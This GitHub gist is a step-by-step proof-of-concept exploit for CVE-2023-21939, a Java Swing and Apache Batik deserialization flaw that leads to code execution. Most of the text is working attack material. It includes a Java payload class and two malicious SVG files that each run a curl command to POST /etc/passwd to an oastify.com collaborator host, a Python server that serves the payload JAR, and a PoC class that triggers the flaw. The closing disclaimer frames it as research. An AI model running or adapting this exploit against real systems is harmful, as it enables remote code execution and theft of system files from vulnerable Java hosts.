Skip to content

Instantly share code, notes, and snippets.

@win3zz
Created August 27, 2023 12:33
Show Gist options
  • Save win3zz/308c6567e38e096c7071d3564ef164ad to your computer and use it in GitHub Desktop.
Save win3zz/308c6567e38e096c7071d3564ef164ad to your computer and use it in GitHub Desktop.
CVE-2023-21939 - Code Exec - Proof of Concept

CVE-2023-21939 - Code Exec - Proof of Concept

Vulnerability Summary: Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Swing). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6, 20; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs.

Steps to Reproduce::

  1. Verify Oracle Java SE version (must be 8u361, 8u361-perf, 11.0.18, 17.0.6, or 20):
user@hostname:~$ java -version
  1. Download Vulnerable Apache Batik Swing library (version 1.15):
user@hostname:~$ wget https://archive.apache.org/dist/xmlgraphics/batik/binaries/batik-bin-1.15.zip
  1. Unzip the contents of Vulnerable Apache Batik Swing library:
user@hostname:~$ unzip batik-bin-1.15.zip
  1. Create a malicious Java file named Payload.java
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;

public class Payload implements EventListenerInitializer {
    public Payload() {
    }

    public void initializeEventListeners(SVGDocument document) {
        SVGSVGElement root = document.getRootElement();
        EventListener listener = new EventListener() {
            public void handleEvent(Event event) {
                try {
                    Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "curl -X POST -d @/etc/passwd http://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oastify.com/"});
                } catch (Exception e) {
                }
            }
        };
        root.addEventListener("SVGLoad", listener, false);
    }
}
  1. Compile the malicious Java payload:
user@hostname:~$ javac -cp 'batik-1.15/lib/*' Payload.java
  1. Convert the payload bytecode to a JAR file:
user@hostname:~$ jar cf Payload.jar 'Payload$1.class' Payload.class
  1. Create two XML files (1.xml and 2.xml) containing malicious SVG code (see code below).

1.xml

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
    <script type="application/java-archive" xlink:href="http://localhost:8099/Payload.jar"/>
    <text>anything</text> 
</svg>

2.xml

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> 
    <circle cx="50" cy="50" r="50" fill="green" onload="showFrame()"/> 
    <script type="text/ecmascript"> 
        importPackage(Packages.java.lang); 
        function showFrame() { 
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "curl -X POST -d @/etc/passwd http://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oastify.com/"}); 
        } 
    </script> 
</svg>
  1. Create a Python server (python_server.py) to serve the files over HTTP (see code below).
from http.server import SimpleHTTPRequestHandler, HTTPServer
import socketserver

class CustomHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/1.xml':
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            with open('1.xml', 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/2.xml':
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            with open('2.xml', 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/Payload.jar':
            self.send_response(200)
            self.send_header('Content-Type', 'application/octet-stream')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            with open('Payload.jar', 'rb') as f:
                self.wfile.write(f.read())

def run(server_class=HTTPServer, handler_class=CustomHandler, port=8099):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting server on port {port}")
    httpd.serve_forever()

if __name__ == '__main__':
    run()
  1. Run the Python server:
user@hostname:~$ python3 python_server.py
  1. Create a Java file named PoC.java (see code below).
import javax.swing.*;
import java.lang.reflect.Field;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class PoC {
    public Object getObject(int option) throws Exception {
        JLabel label = new JLabel();
        // OLD JDK SET TRUE/FALSE
        // NEW JDK SET FALSE
        label.putClientProperty("html.disable", false);
        Field textField = label.getClass().getDeclaredField("text");
        textField.setAccessible(true);

        String htmlContent = "<html>" + 
            "<object classid=\"org.apache.batik.swing.JSVGCanvas\">" +
                "<param name=\"URI\" value=\"http://localhost:8099/" + option + ".xml\">" + 
            "</object>" + 
        "</html>";

        textField.set(label, htmlContent);
        return label;
    }

    public static void main(String[] args) throws Exception {
        PoC rce = new PoC();

        // Option 1: JDK + Apache XML Graphics
        Object t1 = rce.getObject(1);
        byte[] d1 = SerUtil.serialize(t1);
        SerUtil.deserialize(d1);

        // Option 2: JDK + Apache XML Graphics + Mozilla Rhino
        /* Object t2 = rce.getObject(2);
        byte[] d2 = SerUtil.serialize(t2);
        SerUtil.deserialize(d2); */
    }

    static class SerUtil {
        public static byte[] serialize(Object var) throws Exception {
            ByteArrayOutputStream bao = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bao);
            oos.writeObject(var);
            oos.flush();
            bao.flush();
            return bao.toByteArray();
        }

        public static Object deserialize(byte[] var) throws Exception {
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(var));
            return ois.readObject();
        }
    }
}
  1. Compile and run the Java file to demonstrate the vulnerability:
user@hostname:~$ javac -cp 'vuln/lib/*' PoC.java && java PoC
  1. Observe executed command output in Burp Collaborator.

2023-08-27_17-43

Refer to the original research repository for more details: https://github.com/Y4Sec-Team/CVE-2023-21939 (archive)

Disclaimer

This report is intended for research and educational purposes only. Any actions taken based on the information provided in this report are solely at the user's own risk. The vulnerabilities described in this report should not be exploited in any unauthorized or malicious manner. The authors and contributors are not responsible for any misuse or damage that may result from the use of this information.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment